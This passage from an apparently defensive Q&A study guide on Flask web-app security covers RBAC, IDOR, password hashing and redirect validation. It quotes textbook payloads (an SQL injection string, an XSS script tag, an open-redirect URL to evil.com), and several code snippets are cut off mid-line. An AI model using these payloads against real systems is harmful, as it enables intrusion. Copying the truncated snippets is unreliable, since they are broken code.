1. **TLS**: Handles this at the network layer (sequence numbers).
2. **CSRF Token**: Once used, a strict implementation "burns" the token. Since the replay uses the same token, it is rejected.
3. **Nonce** (Number used once): A unique random string included in the request, tracked by server.

---

**Q43: Role-Based Access Control (RBAC) - Concept.**

**Complete Answer**: RBAC restricts system access to authorized users based on their role.

**Our Roles**:

1. **Parent**: Can book child, view own dashboard.
2. **Tutor**: Can view roster for *their* activity.
3. **Admin**: Can CRUD activities, view all data, manage users.

**Implementation**: We do not hardcode "If user == Bob". We adhere to "If user.role == Admin". This scales. If we hire a new administrator, we just assign the role.

---

**Q44: Explain the `@login_required` decorator.**

**Complete Answer**: Provided by `Flask-Login`.

**Logic**:

1. Intercepts the request before it reaches the view function.
2. Checks `current_user.is_authenticated`.
3. **If False**: Aborts request. Redirects to `login_manager.login_view` (`/login`). Adds `?next=/target` to URL.
4. **If True**: Allows execution to proceed to the route.

**Benefit**: We don't need to write `if not logged_in: return redirect` in every single function.

---

### Q45: How did you implement Custom Decorators (`@admin_required`)?

**Complete Answer**: We needed granular control beyond just "logged in".

**Code Breakdown**:

```
from functools import wraps

def admin_required(f):
    @wraps(f)  # Preserves the metadata of the original function
    def decorated_function(*args, **kwargs):
        # 1. Check Login
        if not current_user.is_authenticated:
            return redirect(url_for('login'))

        # 2. Check Role
        if current_user.role != 'admin':
            flash("Unauthorized access!", "danger")
            return redirect(url_for('index'))

        # 3. Proceed
        return f(*args, **kwargs)
    return decorated_function
```

**Usage**: `@admin_required` placed *after* `@app.route`.

---

### Q46: Why `functools.wraps`?

**Complete Answer**: When you decorate a function, you effectively replace `my_view` with `decorated_function`. Without `@wraps(f)`, the function name becomes `decorated_function` and the docstring is lost. **Critical in Flask**: Flask uses the function name as the "Endpoint" map. If all your views are named `decorated_function`, Flask will crash because it can't distinguish between them. `wraps` copies the `__name__` and `__doc__` back.

---

### Q47: Security of IDOR (Insecure Direct Object Reference).

**Complete Answer**: **Vulnerability**: URL `/booking/delete/105`. Attacker changes ID to `106`. If code just deletes `Booking.query.get(106)`, they deleted someone else's booking.

**Our Defense**:

```
booking = Booking.query.get(id)
# Authorization Check
if booking.parent_id != current_user.id and current_user.role != 'admin
    abort(403)
```

We explicitly verify ownership before taking action.

---

**Q48: Explain SQL Injection and how ORM prevents it.**

**Complete Answer**: **Attack**: User inputs `' OR '1'='1` into login field. Raw SQL: `SELECT * FROM users WHERE name = '' OR '1'='1'` -> Returns all users.

**ORM Defense (SQLAlchemy)**: When we do `User.query.filter_by(username=input).first()`, SQLAlchemy does **not** concatenate strings. It uses **Parameterized Queries** (DB-API). It sends the query template `SELECT * FROM users WHERE username = ?` and passes the input as a separate data packet. The database treats the input strictly as a *value*, never as *executable code*.

---

**Q49: How are passwords stored? (Scrypt vs bcrypt vs MD5)**

**Complete Answer**: Storing plain text is negligent. Storing MD5/SHA1 (fast hashes) is dangerous due to speed (billions/sec).

**Our Choice**: `Scrypt` (via `werkzeug.security`). **Why Scrypt**: It is a **Memory-Hard** function. It requires significant RAM to compute. This makes it resistant to **ASIC/GPU hardware acceleration**. Even if an attacker has a supercomputer, they cannot parallelize the cracking process efficiently. Better than bcrypt for this reason.

---

**Q50: What is a Salt and why is it needed?**

**Complete Answer**: **Problem**: If two users have the same password "password123", they get the same Hash. Attacker uses "Rainbow Tables" (precomputed hashes) to instantly reverse common passwords.

**Solution (Salt)**: A random string added to the password before hashing. `Hash = Scrypt(Password + Salt)` Since the salt is random for *every user*, "password123" yields a different hash for User A and User B. Werkzeug handles this automatically: The formatted hash string includes the method, salt, and hash `scrypt:32768:8:1$SaltStr$HashStr`.

---

**Q51: What dictates Password Strength?**

**Complete Answer**: Currently, we accept any password. **Improvement**: We should enforce complexity.

- Minimum 12 characters (Length is most important factor).
- Mix of case/numbers.
- Check against `HaveIBeenPwned` API (prohibiting breached passwords).

**Why**: Even the best Hashing (Scrypt) cannot save a password like "123456". It will be guessed in milliseconds.

---

**Q52: Explain `flash()` messages safety.**

**Complete Answer**: Flask `flash()` stores messages in the session cookie to survive the redirect. **Security Risk**: If checking inputs and flashing them back (`flash(f"Invalid input: {user_input}")`), we create a reflected XSS vulnerability if the template renders it raw `{{ message|safe }}`. **Defense**: Jinja2 auto-escapes by default. We must never use `|safe` on user-controlled flash messages.

---

**Q53: How do you secure File Uploads?**

**Complete Answer**: If a user uploads `exploit.php` and we save it to a public folder, they can run it.

**Defenses**:

1. **Rename**: Always rename files (UUID). Never keep original name.
2. **Validation**: Check File Extension (`.png` not `.php`) AND Magic Bytes (Header).
3. **Storage**: Store outside the web root (people cannot request it directly).
4. **Serving**: Serve through a route that checks permissions.

---

**Q54: What is `Cross-Origin Resource Sharing` (CORS)?**

**Complete Answer**: Browsers block request from Domain A (React App) to Domain B (Flask API) by default. **Scenario**: If we built a mobile app, it would fail to fetch data. **Solution**: Server sends header `Access-Control-Allow-Origin: *`. **Security**: Be specific! `Access-Control-Allow-Origin: https://myapp.com`. Never use `*` if sending credentials (cookies).

---

**Q55: What is "Clickjacking"?**

**Complete Answer**: (Covered in Q41 with X-Frame-Options, but expanded). It is a UI Redress Attack. **Defense in Depth**: Content Security Policy: `frame-ancestors 'none';`. This is the modern replacement for `X-Frame-Options`.

---

**Q56: Audit Logging - Why and How?**

**Complete Answer**: **Why**: If an Admin deletes a user, we need to know *which* admin and *when*. **How**: Create `AuditLog` model (`actor_id`, `action`, `target_id`, `timestamp`, `ip_address`). Decorator `@log_action` to auto-record events. Critical for accountability and post-incident forensics.

---

**Q57: How to Handle "Forgot Password" securely?**

**Complete Answer**:

1. User enters email.
2. Generate cryptographically secure random token.
3. Save token in DB with Expiry (15 mins).
4. Email Link: `/reset-password?token=XYZ`.

5. On click: Validate token exists and !expired.
6. Allow password set.
7. **Crucial**: Invalidate token immediately after use. **Risk**: If token logic is weak (predictable), attacker can reset any password.

---

**Q58: What is "Credential Stuffing"?**

**Complete Answer**: Attackers take valid username/passwords leaked from *another* site (e.g., LinkedIn breach) and try them on *our* site. **Defense**: Rate limiting (5 failed attempts locks account). Multi-Factor Authentication (MFA).

---

**Q59: Explain 2-Factor Authentication (2FA).**

**Complete Answer**: Something you Know (Password) + Something you Have (Phone/ Token). **Implementation**:

- TOTP (Time-based One Time Password) via Google Authenticator.
- Library: `pyotp`.
- Server shares Secret Key (QR Code).
- User proves possession by entering current 6-digit code.
- Sever verifies code against Secret + Time.

---

**Q60: Difference between Authentication (AuthN) and Authorization (AuthZ).**

**Complete Answer**:

- **Authentication**: "Who are you?" (Login, Password, Identity). Verified via `login_user()`.
- **Authorization**: "What are you allowed to do?" (Permissions, Roles). Verified via `@admin_required`. You can be Authenticated (logged in) but not Authorized (view admin panel).

---

**Q61: Explain "Principle of Least Privilege".**

**Complete Answer**: Every module/user should only have the access necessary for its legitimate purpose.

- Application: Should not run as root.
- Database User: Should not have `DROP TABLE`.
- Admin: Should separate "Super Admin" (System config) from "Moderator" (User management).

---

**Q62: Security Misconfiguration (OWASP Top 10).**

**Complete Answer**: Common flaw: Leaving default settings.

- `DEBUG = True` in prod.
- Default keys.
- Open cloud buckets. **Defense**: Hardening checklist before deployment. Automated scans.

---

**Q63: Explain "Sensitive Data Exposure".**

**Complete Answer**: Leaking PII (Personally Identifiable Information).

- **At Rest**: Encrypt the database volume (AWS disk encryption). Hash passwords.
- **In Transit**: TLS (HTTPS).
- **In Logs**: Ensure we don't log `password` or `credit_card`.

---

**Q64: What is a "Timing Attack"?**

**Complete Answer**: Attacker measures how long the server takes to respond to guess data. **Example**: Password Check. `if input == real_password:` If we compare character-by-character, "A....." returns faster (fails at char 1) than "P....." (fails at char 10). **Defense**: Use Constant Time Comparison (`hmac.compare_digest`). `check_password_hash` does this.

---

**Q65: Logic: Explain Python Decorators syntax `@`.**

**Complete Answer**: `@decorator` is syntactic sugar.

```
@login_required
def view(): ...
```

Is exactly composed as:

```
view = login_required(view)
```

It passes the function *into* the decorator function, and assigns the *result* (variable) back to the original name.

**Q66: Code: Explain `check_password_hash`.**

**Complete Answer**: Function from `werkzeug.security`. **Input**: (Stored Hash, Plaintext Input). **Process**:

1. Extracts salt and parameters from the stored hash string.
2. Hashes the Plaintext Input using the *same* salt and parameters.
3. Compares the result with the stored hash. **Returns**: `True` if match, `False` other. **Security**: Uses constant-time comparison to prevent timing attacks.

---

**Q67: Vulnerability: Directory Listing.**

**Complete Answer**: If a user goes to `/static/images/`, the server might list all files. **Risk**: Attacker sees files we didn't intend to be public (backup.zip). **mitigation**: Web Server (Nginx/Apache) configuration `autoindex off`. Flask's dev server does not list directories by default.

---

**Q68: Security: Mass Assignment.**

**Complete Answer**: **Vulnerability**: User submits form with `role=admin` added to the HTML fields. Code `user = User(**request.form)` blindly copies all fields to the model. **Result**: User becomes admin. **Fix**: Explicitly picking fields. `user.username = form.username.data user.email = form.email.data` We never copy raw dicts into

sensitive models.

---

**Q69: Logic: Admin Dashboard Security.**

**Complete Answer**: The Admin panel is the most sensitive area. **Defenses**:

1. **Authentication**: Must be logged in.
2. **Authorization**: Must have `role='admin'`.
3. **UI Hiding**: We hide the link in the navbar for non-admins, but we *also* protect the route. (Security through Obscurity is not enough).

---

**Q70: Explain "Salted" vs "Unsalted" Hash.**

**Complete Answer**:

- **Unsalted**: `MD5("password") -> 5f4dcc3b...`
  - Same password always has same hash.
  - Vulnerable to lookup tables.
- **Salted**: `Scrypt("password" + "random_salt") -> scrypt$random_salt$hash...`
  - Same password has different hash every time.
  - Forces attacker to crack each user individually.

---

**Q71: Code: `current_user` implementation.**

**Complete Answer**: `current_user` is a Local Proxy provided by Flask-Login.

- It acts like a global variable, but it is thread-local.
- In Request A, it refers to User A.
- In Request B (parallel), it refers to User B.
- It is available in all Templates automatically.

---

**Q72: Security: Logging Sensitive Data.**

**Complete Answer**: Reviewing logs is important, but dangerous. **Bad**: `print(f"User login attempt: {password}")`. **Good**: `print(f"User login attempt: {username}")`. If we log passwords, and our logs leak (or are stored in plaintext on disk), we have compromised our users.

---

**Q73: Security: "Man-in-the-Middle" (MITM).**

**Complete Answer**: Attacker sits between User and Server (e.g., Compromised Router). **Defense**: HTTPS (TLS). The attacker sees encrypted traffic. They cannot read the Session Cookie or Password. If the certificate is invalid, the browser warns the user.

---

**Q74: Design: User Enumeration.**

**Complete Answer**: **Vulnerability**: Login page says "User does not exist" vs "Wrong Password". **Attacker**: Can write a script to guess usernames until they find valid ones. **Fix**: Generic messages. "Invalid email or password."

---

**Q75: Code: How does Flask-Login perform User Loading?**

**Complete Answer**: We define a callback:

```
@login_manager.user_loader
def load_user(id):
    return Parent.query.get(int(id)) or Admin.query.get(int(id)) or Tut
```

Flask-Login calls this on *every* request to turn the Session ID back into a User Object. Our implementation checks all 3 tables because we have separate tables for roles.

---

**Q76: Security: Preventing Brute Force.**

**Complete Answer**: (Covered briefly in Credential Stuffing). **Mechanism**: Use `Flask-Limiter`. `@limiter.limit("5/minute")` on the `/login` route. If IP exceeds, return `429 Too Many Requests`.

---

**Q77: Logic: Why separated tables (Parent, Admin, Tutor) vs Single User table?**

**Complete Answer**: **Design Choice**: Separation. **Pros**: Distinct attributes (Child info for Parent, Subject for Tutor). Cleaner models. **Cons**: Complex login logic (checking 3 tables). **Alternative**: Single `User` table with `role` column and Polymorphic Association for extra profile data. For this scale, separate tables was simpler for specific requirements.

---

**Q78: Explanation: "Security through Obscurity".**

**Complete Answer**: Relying on "The attacker doesn't know the URL" (e.g., Hidden Admin Panel `/super-secret-admin`). **Verdict**: Bad practice. URLs can be found via brute force, history, logs. **Solution**: Strong Access Control (RBAC) regardless of URL knowledge.

---

**Q79: Vulnerability: Open Redirect.**

**Complete Answer**: **Scenario**: Login page redirects to `next` parameter. `https://school.com/login?next=http://evil.com`. User logins -> Redirected to Evil keys -> Phishing. **Fix**: Validate that `next` is a relative URL (`/dashboard`) or matches our domain. Werkzeug offers `is_safe_url` helper.

---

**Q80: Code: `safe_url` logic.**

**Complete Answer**:

```
from urllib.parse import urlparse, urljoin
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == t
```

---

**Q81: Logic: How do we securely logout?**

**Complete Answer**: Call `logout_user()`. This deletes the Session Cookie from the browser. **Crucial**: The session should also be invalidated server-side if using server-side sessions. Since we use cookies, deleting it is sufficient (unless attacker saved a copy, then we rely on expiry).

---

**Q82: Security: What if Database is Leaked?**

**Complete Answer**: Assume the worst: SQL dump is public.

1. **Passwords**: Hashed with Scrypt. Safe from immediate use.
2. **Emails**: Leaked. Spam risk.
3. **Names**: Leaked. Privacy breach. **Defense**: Encrypt specific columns (PII) at application level (Advanced). Minimization (don't store DOB if not needed).

---

**Q83: Vulnerability: XSS in 'Bio' field.**

**Complete Answer**: If Tutors can write a "Bio" and we render it. **Input**: `Hello <script>alert(1)</script>`. **Output**: Script executes on parent's browser. **Defense**: Jinja2 Auto-escaping. It renders `<script>`. If we needed rich text, we would use a library like `Bleach` to sanitize allowed tags (`<b>`, `<i>`) and strip scripts.

---

**Q84: Explain "Hash Collision".**

**Complete Answer**: Two different inputs producing same hash. MD5 has collisions. SHA-256 / Scrypt theoretically have collisions but probability is effectively zero. **Impact**: If collision found, attacker can spoof password. Hence using modern strong hashes.

---

**Q85: Security: Dependency Vulnerabilities.**

**Complete Answer**: What if `Flask-Login` has a bug? **Defense**: Dependabot / Snyk. Tools scans `requirements.txt` against CVE (Common Vulnerabilities and Exposures) database. We must update python packages regularly.

---

**Q86: Code: `validate_on_submit()`.**

**Complete Answer**: Method in Flask-WTF. Checks:

1. Request is POST.
2. CSRF Token is valid.
3. All field validators (Email, DataRequired) pass. Returns `True` only if safe to proceed.

---

**Q87: Design: What is OAuth?**

**Complete Answer**: "Login with Google". **Mechanism**: We delegate authentication to Google. Google restricts access and sends us a token. **Benefit**: We don't handle passwords. **Drawback**: Complexity. Reliance on Google (if Google down, nobody logs in).

---

**Q88: Security: DoS (Denial of Service).**

**Complete Answer**: Attacker floods server. **Application Defense**:

- Expensive operations (Hashing) take CPU.
- Attacker sends random login requests. CPU spikes.
- Defense: Rate Limiting (Flask-Limiter) and Captcha.

---

**Q89: Logic: Admin creation.**

**Complete Answer**: Admins should not be able to register publicly. **Strategy**:

1. Seed script: `python manage.py create_admin`.
2. Route protected by `@admin_required`: Existing admin can create new admin.

---

**Q90: Security: URL Parameters vs Body.**

**Complete Answer**: Never put sensitive data in URL (`/login?pass=123`). **Why**: URLs are saved in Browser History, Proxy Logs, Server Access Logs. **Correct**: Use POST body (encrypted in HTTPS, not logged).

---

**Q91: Explain "Privilege Escalation".**

**Complete Answer**: User finding a way to become Admin. **Vertical**: Low role to High role. **Horizontal**: Accessing another user's data (IDOR). **Defense**: Strict testing of `@admin_required` on every sensitive route.

---

**Q92: Troubleshooting: "400 Bad Request: CSRF Token Missing".**

**Complete Answer**: **Cause**:

1. Forgot `{{ form.hidden_tag() }}` in template.
2. Session expired (Token gone).
3. Cookies disabled. **Fix**: Add tag, ensure cookies enabled.

---

**Q93: Security: Input Validation.**

**Complete Answer**: Sanitize everything coming from outside.

- `int(id)`: Ensures ID is number.
- `trim()` string.
- Whitelist values (`role` in `['admin', 'parent']`).

---

**Q94: Design: Secret Key Rotation.**

**Complete Answer**: If `SECRET_KEY` is compromised.

1. Change Key in config.
2. **Impact**: All existing sessions become invalid immediately. Users logged out. This is a feature, not a bug (Kill switch).

---

**Q95: Code: `DataRequired` vs `InputRequired`.**

**Complete Answer**: Flask-WTF validators.

- `DataRequired`: Checks content exists AND is not whitespace strings.
- `InputRequired`: Just checks input was sent. **Choice**: `DataRequired` prevents " " as a name.

---

**Q96: Security: HTTP Verbs.**

**Complete Answer**: Using GET for state-changing actions (`/delete?id=1`) is dangerous (CSRF, crawlers triggering it). **Rule**: GET for read. POST/PUT/DELETE for write.

---

**Q97: Security: Error Messages.**

**Complete Answer**: Production 500 Page. Should say: "Internal Error". Should NOT say: `KeyError at line 50: 'password'`. **Why**: Stack trace helps attacker understand code structure.

---

**Q98: Code: String Comparison.**

**Complete Answer**: `if user.role == 'admin'`: Python string comparison is safe. For crypto strings (tokens), use `hmac.compare_digest`.

---

**Q99: Security: CAPTCHA.**

**Complete Answer**: Completely Automated Public Turing test to tell Computers and Humans Apart. **Use**: On Registration / Login. **Prevents**: Automated bots. (Google Recaptcha v3 is invisible/scoring based).

---

**Q100: Final Review: Security vs Usability.**

**Complete Answer**: Security is always a trade-off.

- Too strict (20 char passwords, 2FA, 5 min timeout) = User frustration.
- Too loose (No CSRF, weak password) = Hacked. **Balance**: We optimized for a school context (Standard security, persistent sessions for convenience, but strong backend locking).